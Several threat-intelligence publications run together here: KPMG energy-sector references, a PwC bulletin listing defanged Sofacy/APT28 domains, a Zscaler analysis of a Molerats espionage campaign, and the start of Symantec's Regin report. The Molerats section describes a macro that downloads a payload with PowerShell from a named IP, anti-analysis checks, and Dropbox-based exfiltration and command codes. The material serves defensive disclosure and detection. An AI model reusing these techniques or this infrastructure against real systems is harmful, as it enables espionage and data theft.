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References Internal A NUANCED perspective on cybercrime Shifting viewpoints  call for action Publish and be Damned KPMG Global Energy Institute  Shamoon and Cyber Security in the Energy Industry Information Integrity  Improving and Protecting Data Quality, Access, and Value http://www.kpmg.com/TT/en/IssuesAndInsights/ArticlesPublications/Documents/ Nuanced-Perspective-on-Cybercrime-Art.pdf http://www.kpmg.com/UK/en/IssuesAndInsights/ArticlesPublications/Documents/ PDF/Advisory/Forbes-Survey-publish-and-be-damned.pdf http://www.visualwebcaster.com/imageSlides/90364/GEI20Presentation20 11081220(Color).pdf http://www.kpmg.com/US/en/IssuesAndInsights/ArticlesPublications/Documents/ information-integrity.pdf Page 17 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
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External FBI  Combating Threats in the Cyber World  Outsmarting Terrorists, Hackers, and Spies Fact Sheet: Safeguarding the U.S.
Governments Classified Information and Networks CF Disclosure Guidance: Topic No.
2 INDUSTRIAL CONTROL SYSTEMS CYBER EMERGENCY RESPONSE TEAM : Monthly Monitor April 2012 INDUSTRIAL CONTROL SYSTEMS - CYBER EMERGENCY RESPONSE TEAM : Monthly Monitor September 2012 Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies ICS-TIP-12-146-01ATARGETED CYBER INTRUSION DETECTION AND MITIGATION STRATEGIES Security and Privacy Controls for Federal Information Systems and Organizations National Infrastructure Protection Plan - Energy Sector, published by the Department of Homeland Security in June 2006 Ron Ross on Revised Security Controls Global Energy Cyberattacks: Night Dragon Security To Industry  Time To Wake Up 7 Steps to ICS Security Iran Blamed for Cyberattacks U.S. looks into claims of security flaw in Siemens gear Iran to unplug from Web to escape Wests Internet monopoly http://www.fbi.gov/news/speeches/combating-threats-in-the-cyber-world- outsmarting-terrorists-hackers-and-spies http://www.whitehouse.gov/the-press-office/2011/10/07/fact-sheet-safeguarding-us- governments-classified-information-and-network http://sec.gov/divisions/corpfin/guidance/cfguidance-topic2.htm http://www.us-cert.gov/control_systems/pdf/ICS-CERT_Monthly_Monitor_Apr2012.
pdf http://www.us-cert.gov/control_systems/pdf/ICS-CERT_Monthly_Monitor_Sep2012.
pdf http://www.us-cert.gov/control_systems/practices/documents/Defense_in_Depth_ Oct09.pdf?
http://www.us-cert.gov/control_systems/pdf/ICS-TIP-12-146-01A.pdf http://csrc.nist.gov/publications/drafts/800-53-rev4/sp800-53-rev4-ipd.pdf http://www.dhs.gov/xlibrary/assets/nipp_snapshot_energy.pdf http://www.govinfosecurity.com/articles.php?art_id4572 http://www.mcafee.com/sg/resources/white-papers/wp-global-energy-cyberattacks- night-dragon.pdf http://www.isssource.com/security-toindustry-time-to-wake-up/ http://www.isssource.com/wp-content/uploads/2012/02/022912WP-7-Steps-toICS- Security-v1.0.pdf http://online.wsj.com/article/SB10000872396390444657804578052931555576700.
html http://www.reuters.com/article/2012/08/22/ctech-us-cybersecurity-siemens- idCABRE87L02F20120822 http://www.rt.com/news/iran-internet-intranet-security-938/ Page 18 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
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Page 19 External Iranian state goes offline to dodge cyber- attacks Pentagon proposes more robust role for its cyber-specialists RSA 2012: Aging industrial control systems increasingly vulnerable to cyberattack Federal Cybersecurity Incidents Rocket 650 In 5 Years (October 04, 2011 01:25 PM) Feds Simulate Crippling Cybersecurity Attack On NYC Electricity The Bright Side of Being Hacked Connecting The Dots After Cyberattack On Saudi Aramco Virus Shuts Rasgas Office Computers Cyber attack takes Qatars RasGas offline Definition  Spear Phishing CYBER RISK AND THE ENERGY INDUSTRY Library: Energy and Utilities Industry: Threats, Needs, and the Aanval Solution http://www.telegraph.co.uk/news/worldnews/middleeast/iran/9453905/Iranian- state-goes-offline-to-dodge-cyber-attacks.html http://www.washingtonpost.com/world/national-security/pentagon-proposes- more-robust-role-for-its-cyber-specialists/2012/08/09/1e3478ca-db15-11e1-9745- d9ae6098d493_story.html http://www.infosecurity-magazine.com/view/24384/ http://www.informationweek.com/government/security/federal-cybersecurity- incidents-rocket-6/231700231?itcedit_in_body_cross http://www.informationweek.com/government/security/feds-simulate-crippling- cybersecurity-at/232602280 http://www.nytimes.com/2012/03/05/technology/the-bright-side-of-being-hacked.
html http://bits.blogs.nytimes.com/2012/08/27/connecting-the-dots-aftercyberattack-on- saudi-aramco/ http://www.bloomberg.com/news/2012-08-30/virus-shuts-rasgasoffice-computers- lng-output-unaffected-1-.html http://www.arabianbusiness.com/cyber-attack-takes-qatar-s-rasgasoffline-471345.
html http://searchsecurity.techtarget.com/definition/spear-phishing http://incelaw.com/ourknowledge/publications/cyber-risk-and-the-energy-industry http://wiki.aanval.com/wiki/Library:Energy_and_Utilities_Industry:_Threats,_ Needs,_and_the_Aanval_Solution 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
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Page 20 KPMGGEC The KPMG Global Energy Institute (GEI): Launched in 2007, the GEI, is a worldwide knowledge- sharing platform detailing insights into current issues and emerging trends within the Oil  Gas and Power Utilities sectors.
Energy professionals will have access to valuable thought leadership, studies, events and webcasts, about key industry topics.
A regional focus to the GEI provides decision makers tailored insight within the Americas, Asia Pacific and the Europe, Middle East Africa regions.
The GEI strives to arm professionals with new tools to better navigate the changes in this dynamic arena.
To become a member of the GEI or for more information please visit kpmg.com/energyaspac The KPMG Global Energy Conference: The KPMG Global Energy Conference (GEC) is KPMGs premier event for financial executives in the energy industry.
Presented by the KPMG Global Energy Institute, these conferences are held in both Houston and Singapore and bring together energy financial executives from around the world in a series of interactive discussions with industry luminaries.
The goal of these conferences is to provide participants with new insights, tools, and strategies to help them manage industry-related issues and challenges.
For more information please visit kpmg.com/energyaspac Global Power Conference The KPMG Global Power  Utilities Conference is KPMGs premier event for CEOs, divisional heads and financial executives of the power and utilities sector presented by KPMGs Global Energy and Natural Resources Practice.
For inquiries regarding the KPMG Global Power  Utilities Conference please contact the conference organizing team at gpckpmg.com or visit kpmg.com/powerconference 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
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The views and opinions expressed herein are those of the author and do not necessarily represent the views and opinions of KPMG LLP.
The information contained herein is of a general nature and is not intended to address the circumstances of any particular individual or entity.
The information contained herein is of a general nature and is not intended to address the circumstances of any particular individual or entity.
Although we endeavour to provide accurate and timely information, there can be no guarantee that such information is accurate as of the date it is received or that it will continue to be accurate in the future.
No one should act upon such information without appropriate professional advice after a thorough examination of the particular situation.
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Contact us Pek Hak Bin Partner Head of Energy  Natural Resources Practice T: 65 6411 8138 E: pekhbkpmg.com.sg Brett Hall Partner, Management Consulting Singapore T: 65 6411 8335 E: bretthallkpmg.com.sg Lyon Poh Partner, Management Consulting Singapore T: 65 6411 8899 E: lpohkpmg.com.sg Rajnish Kapur Director, Management Consulting Singapore T: 65 6507 1973 E: rajnishkapurkpmg.com.sg KPMG Services Pte Ltd 16 Raffl es Quay 22-00 Hong Leong Building Singapore 048581 T: 65 6213 3388 F: 65 6223 3118 kpmg.com/energyaspac kpmg.com/social media
Cyber Threat Operations Tactical Intelligence Bulletin Date:  2015-04-20 Contact: threatintelligenceuk.pwc.com Reference: CTO-TIB-20150420-01A TLP:  WHITE Sofacy II Same Sofacy, Different Day Tactical Intelligence Bulletin Cyber Threat Operations Background There has been some recent news regarding further activities of a group variously described as Sofacy1.
We are releasing this flash bulletin containing network indicators to aid security professionals in detecting this activity.
Please contact us on threatintelligenceuk.pwc.com and we would be happy to send you a TLP- GREEN version of this report containing further indicators that you are welcome to distribute further in line with US-CERT definition for TLP.
Recent Reports In the past few days Trend Micro and FireEye have both released reports relating to similar activity: Trend 2  described spear phishes containing links to malicious websites that deploy malware through apparent browser exploits and phishing for web-mail credentials.
FireEye3 have recently described the use of CVE-2015-3043 and CVE-2015-1701 exploits in suspected Sofacy attacks.
Interestingly, despite the use of zero-day exploits for delivery, there is some evidence that the attackers continue to use old variants of their malware4.
PwC Threat Intelligence subscribers can refer to CTO-TIB-20150306B published in March 2015 for further details on some of the novel methods we are seeing Sofacy currently employ and the wider context to this activity.
Please review our earlier bulletin5 or contact us for further information on analysis, targeting and recommended actions relating to Sofacys credential phishing.
Network Indicators Below we list a number of domains which you may wish to review network logs for.
Typically registered domains are employed for phishing and/or malware command and control.
This is a redacted list of domains that are likely related to Sofacy and we note that related domains have been observed by others6, as well as in the cited reports.
1 Other names include APT28, Fancy Bear, Sednit and Pawn Storm.
2 See http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities- targets-nato-white-house/ 3 See https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html 4 For example see https://www.virustotal.com/en/file/67ecc3b8c6057090c7982883e8d9d0389a8a8f6e8b00f9e9b73c45b008241322 /analysis/ 5 See http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf 6 See https://twitter.com/ThreatConnect/status/589168650759884800 http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/ http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/ https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html https://www.virustotal.com/en/file/67ecc3b8c6057090c7982883e8d9d0389a8a8f6e8b00f9e9b73c45b008241322/analysis/ https://www.virustotal.com/en/file/67ecc3b8c6057090c7982883e8d9d0389a8a8f6e8b00f9e9b73c45b008241322/analysis/ http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf https://twitter.com/ThreatConnect/status/589168650759884800 Tactical Intelligence Bulletin  TLP: WHITE Cyber Threat Operations Appendix 1 Domains TLP WHITE defencereview[.
]net brnlv-gv[.
]eu militaryobserver[.
]net netassistcache[.
]com asus-service[.
]net aolnets[.
]com natopress[.
]org natopress[.
]com defencereview[.
]eu intelsupport[.
]net globalnewsweekly[.
]com osce-oscc[.
]org enisa-europa[.
]com enisa-europa[.
]org techcruncln[.
]com nato-hq[.
]com iacr-tcc[.
]org nato-int[.
]com nato-info[.
]com bmlv-gv[.
]eu foreignreview[.
]com mediarea[.
]org osce-military[.
]org europeanda[.
]com softupdates[.
]info settings-yahoo[.
]com settings-live[.
]com delivery-yahoo[.
]com privacy-yahoo[.
]com privacy-live[.
]com westinqhousenuclear[.
]com webmail.westinqhousenuclear[.
]com Tactical Intelligence Bulletin  TLP: WHITE Cyber Threat Operations References http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using- custom-exploit-kit/ http://pwc.blogs.com/cyber_security_updates/2014/10/phresh-phishing-against- government-defence-and-energy.html http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white- papers/wp-operation-pawn-storm.pdf https://www.fireeye.com/resources/pdfs/apt28.pdf http://pwc.blogs.com/cyber_security_updates/2014/12/apt28-sofacy-so-funny.html http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm- ramps-up-its-activities-targets-nato-white-house/ https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/ http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/ http://pwc.blogs.com/cyber_security_updates/2014/10/phresh-phishing-against-government-defence-and-energy.html http://pwc.blogs.com/cyber_security_updates/2014/10/phresh-phishing-against-government-defence-and-energy.html http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf https://www.fireeye.com/resources/pdfs/apt28.pdf http://pwc.blogs.com/cyber_security_updates/2014/12/apt28-sofacy-so-funny.html http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/ http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/ https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html Tactical Intelligence Bulletin  TLP: WHITE Cyber Threat Operations The information contained in this document has been prepared as a matter of interest and for information purposes only, and does not constitute professional advice.
You should not act upon the information contained in this email without obtaining specific professional advice.
No representation or warranty (express or implied) is given as to the accuracy or completeness of the information contained in this email, and, to the extent permitted by law, PricewaterhouseCoopers LLP, its members, employees and agents do not accept or assume any liability, responsibility or duty of care for any consequences of you or anyone else acting, or refraining to act, in reliance on the information contained in this email or for any decision based on it.
1/22 New espionage attack by Molerats APT targeting users in the Middle East zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east Introduction In December 2021, the ThreatLabz research team identified several macro-based MS office files uploaded from Middle Eastern countries such as Jordan to OSINT sources such as VT.
These files contained decoy themes related to geo-political conflicts between Israel and Palestine.
Such themes have been used in previous attack campaigns waged by the Molerats APT.
During our investigation we discovered that the campaign has been active since July 2021.
The attackers only switched the distribution method in December 2021 with minor changes in the .NET backdoor.
In this blog, we will share complete technical analysis of the attack chain, the C2 infrastructure, threat attribution, and data exfiltration.
The targets in this campaign were chosen specifically by the threat actor and they included critical members of banking sector in Palestine, people related to Palestinian political parties, as well as human rights activists and journalists in Turkey.
ThreatLabz observed several similarities in the C2 communication and .NET payload between this campaign and the previous campaigns attributed to the Molerats APT group.
Additionally, we discovered multiple samples that we suspect are related to Spark backdoor.
We have not added the analysis of these samples in this blog, but they were all configured with the same C2 server, which we have included in the IOCs section.
https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east 2/22 Threat attribution We have attributed the attack to Molerats APT group based on following observations: 1.
Use of open-source as well as commercial packers for the backdoor (ConfuserEx, Themida) 2.
Targeting middle-east region 3.
Using Dropbox API for entire C2 communication 4.
Using RAR files for backdoor delivery as well as in later stages 5.
Using other legit cloud hosting services like Google Drive to host the payloads 6.
Overlap of domain SSL Certificate thumbprint observed on current attack infrastructure with domains used by Molerats APT group in the past 7.
Overlap of Passive DNS resolution of domain observed on current attack infrastructure with the IP used by Molerats APT group in the past Attack flow Figure 1 below illustrates the new attack chain.
Figure 1: Attack chain Decoy content MD5: 46e03f21a95afa321b88e44e7e399ec3 https://www.zscaler.com/cdn-cgi/image/formatauto/sites/default/files/images/blogs/Molerats20-20Dec202021/Attack20Flow.jpg 3/22 Note: Please refer Appendix section for additional decoy contents 4/22 Technical analysis For the purpose of technical analysis we will use the document with MD5: 46e03f21a95afa321b88e44e7e399ec3 [] Stage-1: Macro code The macro code is not complex or obfuscated.
It simply executes a command using cmd.exe which in turn performs the following operations: 1.
Executes a PowerShell command to download and drop the Stage-2 payload from the URL http://45.63.49[.
]202/document.html to the path C:\ProgramData\document.htm.
2.
Renames document.htm to servicehost.exe 3.
Executes servicehost.exe Figure 2 below shows the relevant macro code Figure 2: Macro code [] Stage-2: servicehost.exe Static analysis Based on static analysis, we can see that the binary is .NET-based  and is obfuscated using the ConfuserEx packer.
It masquerades itself as a WinRAR application by using the icon and other resources (which also contains static strings) from the legit WinRAR application.
Figure 3: Shows the binary icon and other static information Dynamic analysis The main function of the binary is the standard ConfuserEx function which is responsible for loading the runtime module koi that is stored in encrypted form using a byte array.
Once the module is loaded, the main function resolves the modules entry point function using the metadata token and invokes it by providing required parameters.
Figure 4: Code snippet loading the runtime module and invoking its entry point function 5/22 The runtime module (koi) on analysis is found to be a backdoor.
Before calling the main function of the module, the code from within the constructor is called which creates a new thread that regularly monitors the presence of a debugger.
6/22 Figure 5: Code snippet of debugger monitoring function Once the debugger monitor thread is created we get the code execution flow to the main function of the module which ultimately leads to the backdoor execution.
Within the main function the backdoor performs following operations: 1.
Collects the machine manufacture and machine model information using WMI which is used for execution environment checks and is later exfiltrated to C2 server.
2.
Checks if it should execute in the current execution environment.
3.
Creates a mutex with the name of executing binary.
4.
Checks if the mutex is created successfully.
5.
Determines if it is executed for the first time using the registry key value HKCU/Software/name_of_executing_binary/name_of_executing_binary.
6.
If the registry key doesnt exist, the code flow goes via a mouse check function which executes the code further only if it detects a change in either of the mouse cursor coordinates.
In the end, the mouse check function also creates the same registry key.
Figure 6: Main function of backdoor [] Network communication From the main function the final code flow reaches the function which starts the network communication.
Since the backdoor uses Dropbox API for entire C2 communication and data exfiltration, it first extracts the primary Dropbox account token which is stored in encoded form within the binary.
Figure 7 below describes the format and shows the encoded string that contains the Dropbox account token.
Figure 7: Encoded string Executing further the backdoor collects the following information from victim machine: 7/22 1.
Machine IP address: By making a network request to https://api.ipify.org 2.
UserName: From the environment variable 3.
HostName: Using the API call Dns.
GetHostName() The collected information is then processed and stored inside a variable named UserInfo by performing following operations: 1.
Concatenation (IPUserNameHostName) 2.
Base64 string encode 3.
Substitution (Substitute  with 1) 4.
String reverse Next the backdoor sends following network requests in the specified sequence using the Dropbox API and correspondingly performs any required operations: 1.
Create Folder: 8/22 Create a folder inside the root directory where the folder name is the value of UserInfo variable Note: The created folder acts as a unique identifier for a machine considering the fact that the machine IP remains static.
2.
Create File: Create a file inside the newly created folder where the file name is the Machine IP and the data it stores is the information collected in Step-1 of the main function.
3.
List Content: List the content of victim specific folder and delete files where the file name length is 15 4.
List Content: List the content of root directory (which is attacker controlled) and extract the following information: a) File name of any hosted RAR archive b) File name of any hosted exe (Which is found to be the legitimate RAR command-line utility and is used to extract the downloaded RAR archive in case the machine doesnt already have any RAR archive supporting application) c) File name of any hosted pdf or doc file (Used as decoy document) d) File name of any non specific file type (Based on our analysis it contains the secondary Dropbox account token that is used for file exfiltration from victim machine) Note: The above extracted information is stored locally and is used wherever required.
Finally, if the backdoor executed for the first time, it downloads and opens the hosted pdf or doc file and then calls two other functions where the first function creates a thread that continuously communicates with the Dropbox account to fetch and execute the C2 commands while the second function creates a thread that downloads and executes the RAR archive using the information extracted earlier.
[]
C2 Commands The backdoor creates a file inside the victim specific folder on Dropbox which is used to fetch C2 commands.
The file name is a random string of 15 characters.
The C2 commands have following format: [command code][Command arguments separated using ] 9/22 The backdoor uses command codes instead of plaintext strings to determine the action to be performed.
Table below summarizes the supported command codes: Command code Action performed 1 Run specified command 2 Take snapshot and upload 3 Send list of files from specified directories 4 Upload files 5 Download and execute the RAR archive C2 infrastructure analysis While monitoring the IPs used during the current attack we observed the domain msupdata.com started to resolve to the IP 45.63.49[.
]202 from 27-12-2021.
We found two Historical SSL Certificates associated with this domain.
Pivoting on the SSL Certificate with thumbprint ec5e468fbf2483cab74d13e5ff6791522fa1081b we found domains like sognostudio.com, smartweb9.com and others which were all attributed to Molerats APT group during past attacks.
Additionally, the subdomain www.msupdata.com also has a Passive DNS resolution to IP 185.244.39[.
]165 which is also associated with Molerats APT group in the past.
Note: We didnt observe any activity related to the domain msupdata.com or its subdomain www.msupdata.com until this blog release.
Pivot on the Dropbox accounts Based on our analysis at least five Dropbox accounts are being used by the attacker.
While investigating the Dropbox accounts we found that the attacker used following information during account registration.
Note: Dropbox has confirmed the takedown of these accounts associated with the Molerats APT group.
Account 1: 10/22 Name: Adham gherbawi Country: NL (Netherlands) Email: adham.gharbawigmail[.
]com Account 2: Name: alwatan voice Country: NL (Netherlands) Email: alwatanvoiceofficegmail[.
]com Account 3: Name: adham gharbawi Country: NL (Netherlands) Email: adham.ghar.bawigmail[.
]com Account 4: Name: pal leae Country: PS (Palestine) Email: palinfoarabicgmail[.
]com Account 5: Name: pla inod Country: PS (Palestine) Email: palinfo.arabicgmail[.
]com Also, while analyzing the exfiltrated data from Dropbox accounts we found a screenshot of the attacker machine which was likely uploaded while the attacker was testing the malware.
We correlated a number of artifacts and patterns with the file names visible from the snapshot to those used during the real attack.
Moreover, from the snapshot the attacker seems to be using a simple GUI application to sync with the Dropbox account and display the victims list.
In the victims list, the user name mijda is also present which matches with the name of document creator mij daf for all the documents we found during this attack.
Figure 8: Screenshot of attacker machine Additionally, we discovered that the attacker machine was configured with the IP 185.244.39[.
]105 which is located in the Netherlands and is associated with the VPS service provider SKB Enterprise B.V.. Interestingly, this IP (185.244.39[.
]105) is also located in the same subnet as the IP 185.244.39[.
]165 which was used for C2 communication and domain hosting in the past by Molerats APT group.
11/22 Pivot on Google drive link Since the attacker also used Google Drive to host the payload in one of the attack chains, we tried to identify the associated Gmail account.
Based on our analysis the attacker used following information for Gmail account: Account name: Faten Issa Email: issafaten584gmail[.
]com Old attack chain As per our analysis the old attack chain was used from 13th July 2021(Start of campaign) to 13th Dec 2021.
Figure 9 below illustrates the old attack chain.
Figure 9: Attack chain The major difference between the new attack chain and the old attack chain is seen in the backdoor delivery.
Although we are not sure how these RAR/ZIP files were delivered but considering the past attacks they were likely delivered using Phishing PDFs.
Additionally, we found a minor variation in the way the backdoor extracted the primary Dropbox account token.
In the old attack chain the backdoor fetched the encoded string containing the 12/22 primary Dropbox account token from attacker-hosted content on justpaste.it.
Figure 10 below shows the attacker-hosted encoded string that contains the Dropbox account token and also describes the corresponding format.
Figure 10: Attacker-hosted encoded string Zscaler Sandbox Detection [] Detection of the macro-based Document [] Detection of the macro-based PowerPoint file [] Detection of the payload In addition to sandbox detections, Zscalers multilayered cloud security platform detects indicators related to Molerats APT group at various levels.
13/22 Win32.Trojan.
MoleratsAPT PDF.Trojan.
MoleRatsAPT 14/22 MITRE ATTCK TTP Mapping ID Tactic Technique T1566.001  Spear phishing Attachment Uses doc based attachments with VBA macro T1204.002 User Execution: Malicious File User opens the document file and enables the VBA macro T1059.001 Command and Scripting interpreter: PowerShell VBA macro launches PowerShell to download and execute the payload T1140 Deobfuscate/Decode Files or Information Strings and other data are obfuscated in the payload T1082 System Information Discovery Sends processor architecture and computer name T1083 File and Directory Discovery Upload file from the victim machine 15/22 T1005 Data from Local System Upload file from victim machine T1567.002 Exfiltration to Cloud Storage Data is uploaded to Dropbox via api T1113 Screen capture The C2 command code 2 corresponds to taking a screenshot and uploading to attacker-controlled Dropbox account Indicators of compromise [] Hashes MD5 File Name Description 46e03f21a95afa321b88e44e7e399ec3 15-12.doc Document 5c87b653db4cc731651526f9f0d52dbb 11-12.docx Document 105885d14653932ff6b155d0ed64f926 report2.dotm Template 601107fc8fef440defd922f00589e2e9 4-1.doc Document 9939bf80b7bc586776e45e848ec41946 19-12.pptm PPT 054e18a1aab1249f06a4f3e661e3f38a pptm.
PPT e72d18b78362e068d0f3afa040df6a4c wanted persons.ppt PPT ebc98d9c96065c8f1c0f4ce445bf507b servicehost.exe Exe (Confuser packed) c7271b91d190a730864cd149414e8c43 su.exe Exe (Themida packed) 16/22 00d7f155f1a9b29be2c872c6cad40026 servicehost.exe Exe (Confuser packed) 2dc3ef988adca0ed20650c45735d4160 cairo hamas office.rar RAR a52f1574e4ee4483479e9356f96ee5e3 exe.
Exe (Confuser packed) b9ad53066ab218e40d61b299bd2175ba details.rar RAR f054f1ccc2885b45a71a1bcd0dd711be exe.
Exe (Themida packed) b7373b976bbdc5356bb89e2cba1540cb emergency.rar RAR a52f1574e4ee4483479e9356f96ee5e3 exe.
2021-09-16 Exe (Confuser packed) 8884b0d29a15c1b6244a6a9ae69afa16 excelservice.rar RAR 270ee9d4d22ca039539c00565b20d2e7 idf.rar RAR 8debf9b41ec41b9ff493d5668edbb922 Ministry of the Interior statement 26-9-2021.exe Exe (Themida packed) d56a4865836961b592bf4a7addf7a414 images.rar RAR a52f1574e4ee4483479e9356f96ee5e3 100 exe.
Exe (Confuser packed) 59368e712e0ac681060780e9caa672a6 meeting.rar RAR 17/22 a52f1574e4ee4483479e9356f96ee5e3 exe.
Exe (Confuser packed) 99fed519715b3de0af954740a2f4d183 ministry of the interior 23-9- 2021.rar RAR 8debf9b41ec41b9ff493d5668edbb922 Ministry of the Interior statement 23-9-2021.exe Exe (Themida packed) bd14674edb9634daf221606f395b1e1d moi.rar RAR a52f1574e4ee4483479e9356f96ee5e3 exe.
Exe (Confuser packed) 04d17caf8be87e68c266c34c5bd99f48 namso.rar RAR c7271b91d190a730864cd149414e8c43 namso.exe Exe (Themida packed) 217943eb23563fa3fff766c5ec538fa4 rafah passengers.rar RAR a52f1574e4ee4483479e9356f96ee5e3 .exe Exe (Confuser packed) fef0ec9054b8eff678d3556ec38764a6 sa.rar RAR a52f1574e4ee4483479e9356f96ee5e3 exe.
Exe (Confuser packed) 32cc7dd93598684010f985d1f1cea7fd shahid.rar RAR a52f1574e4ee4483479e9356f96ee5e3 100 exe.
Exe (Confuser packed) 18/22 1dc3711272f8e9a6876a7bccbfd687a8 sudan details.rar RAR f054f1ccc2885b45a71a1bcd0dd711be exe.
Exe (Themida packed) da1d640dfcb2cd3e0ab317aa1e89b22a tawjihiexam.rar RAR 31d07f99c865ffe1ec14c4afa98208ad Israel-Hamas Prisoner Exchange Progress.exe Exe (Confuser packed) b5e0eb9ca066f5d97752edd78e2d35e7 rar.
RAR a52f1574e4ee4483479e9356f96ee5e3       - exe.
Exe (Confuser packed) b65d62fcb1e8f7f06017f5f9d65e30e3 rar.
RAR a52f1574e4ee4483479e9356f96ee5e3 exe.
Exe (Confuser packed) 933ffc08bcf8152f4b2eeb173b4a1e26 israelian attacks.zip ZIP 4ae0048f67e878fcedfaff339fab4fe3 Israelians Attacks during the years 2020 to 2021.exe Exe (Confuser packed) 1478906992cb2a8ddd42541654e9f1ac patient satisfaction survey.zip ZIP 31d07f99c865ffe1ec14c4afa98208ad Patient Satisfaction Survey Patient Satisfaction Survey.exe Exe (Confuser packed) 33b4238e283b4f6100344f9d73fcc9ba zip.
ZIP 19/22 4ae0048f67e878fcedfaff339fab4fe3 exe.
Exe (Confuser packed) 1f8178f9d82ac6045b6c7429f363d1c5 zip.
ZIP 4ae0048f67e878fcedfaff339fab4fe3 exe.
Exe (Confuser packed) c7d19e496bcd81c4d16278a398864d60 zip.
ZIP 4ae0048f67e878fcedfaff339fab4fe3 exe.
Exe (Confuser packed) 1bae258e219c69bb48c46b5a5b7865f4 zip.
ZIP 4ae0048f67e878fcedfaff339fab4fe3 exe.
Exe (Confuser packed) 547334e75ed7d4eea2953675b07986b4 zip.
ZIP 4ae0048f67e878fcedfaff339fab4fe3     - exe.
Exe (Confuser packed) [] Download URLs Component URL Template https://drive.google[.
]com/uc?exportdownloadid1xwb99Q7duf6q7a- 7be44pCk3dU9KwXam 20/22 Component URL Exe http://45.63.49[.
]202/document.html http://23.94.218[.
]221/excelservice.html http://45.63.49[.
]202/doc.html http://45.63.49[.
]202/gabha.html [] Molerats associated IPs 45.63.49[.
]202 23.94.218[.
]221 185.244.39[.
]165 [] Molerats associated domains msupdata[.
]com www.msupdate[.
]com Spark backdoor bundanesia[.
]com [] File system artifacts Dropped binary C:\ProgramData\servicehost.exe current_working_directory\su.exe Appendix MD5: 5c87b653db4cc731651526f9f0d52dbb MD5: 105885d14653932ff6b155d0ed64f926 MD5: e72d18b78362e068d0f3afa040df6a4c 21/22 22/22
SECURITY RESPONSE Regin is an extremely complex piece of software that can be customized with a wide range of different capabilities that can be deployed depending on the target.
Regin: Top-tier espionage tool enables stealthy surveillance Symantec Security Response Version 1.0  November 24, 2014 Regin: Top-tier espionage tool enables stealthy surveillance CONTENTS OVERVIEW ..................................................................... 3 Introduction .................................................................. 5 Timeline ......................................................................... 5 Target profile ................................................................. 6 Infection vector ....................................................... 6 Architecture .................................................................. 8 Stage 0 (dropper) .................................................... 9 Stage 1 ..................................................................... 9 Stage 2 ..................................................................... 9 Stage 3 ..................................................................... 9 Stage 4 ...........................................................  11 Stage 5 ................................................................... 11 Encrypted virtual file system containers .............. 11 Command-and-control operations ........................ 12 Logging .................................................................. 12 Payloads ...................................................................... 14 64-bit version .............................................................. 15 File names ............................................................. 15 Stage differences .................................................. 15 Conclusion ................................................................... 16 Protection .................................................................... 16 Appendix ..................................................................... 18 Data files ............................................................... 18 Indicators of compromise ........................................... 20 File MD5s ............................................................... 20 File names/paths ................................................... 20 Extended attributes .............................................. 21 Registry ................................................................. 21 In the world of malware threats, only a few rare examples can truly be considered groundbreaking and almost peerless.
What we have seen in Regin is just such a class of malware.
Regin is an extremely complex piece of software that can be customized with a wide range of different capabilities which can be deployed depending on the target.
It is built on a framework that is designed to sustain long-term intelligence-gathering operations by remaining under the radar.
It goes to extraordinary lengths to conceal itself and its activities on compromised computers.
Its stealth combines many of the most advanced techniques that we have ever seen in use.
The main purpose of Regin is intelligence gathering and it has been implicated in data collection operations against government organizations, infrastructure operators, businesses, academics, and private individuals.
The level of sophistication and complexity of Regin suggests that the development of this threat could have taken well-resourced teams of developers many months or years to develop and maintain.
Regin is a multi-staged, modular threat, meaning that it has a number of components, each depending on others, to perform attack operations.
This modular approach gives flexibility to the threat operators as they can load custom features tailored to individual targets when required.
Some custom payloads are very advanced and exhibit a high degree of expertise in specialist sectors.
The modular design also makes analysis of the threat difficult, as all components must be available in order to fully understand it.
This modular approach has been seen in other sophisticated malware families such as  Flamer and Weevil (The Mask), while the multi-stage loading architecture is similar to that seen in the Duqu/Stuxnet family of threats.
Regin is different to what are commonly referred to as traditional advanced persistent threats (APTs), both in its techniques and ultimate purpose.
APTs typically seek specific information, usually intellectual property.
Regins purpose is different.
It is used for the collection of data and continuous monitoring of targeted organizations or individuals.
This report provides a technical analysis of Regin based on a number of identified samples and components.
This analysis illustrates Regins architecture and the many payloads at its disposal.
OVERVIEW http://www.symantec.com/security_response/writeup.jsp?docid2012-052811-0308-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-021016-4132-99 http://www.symantec.com/security_response/writeup.jsp?docid2011-101814-1119-99 http://www.symantec.com/security_response/writeup.jsp?docid2010-071400-3123-99tabid2 Regin has a wide range of standard capabilities, particularly around monitoring targets and stealing data.
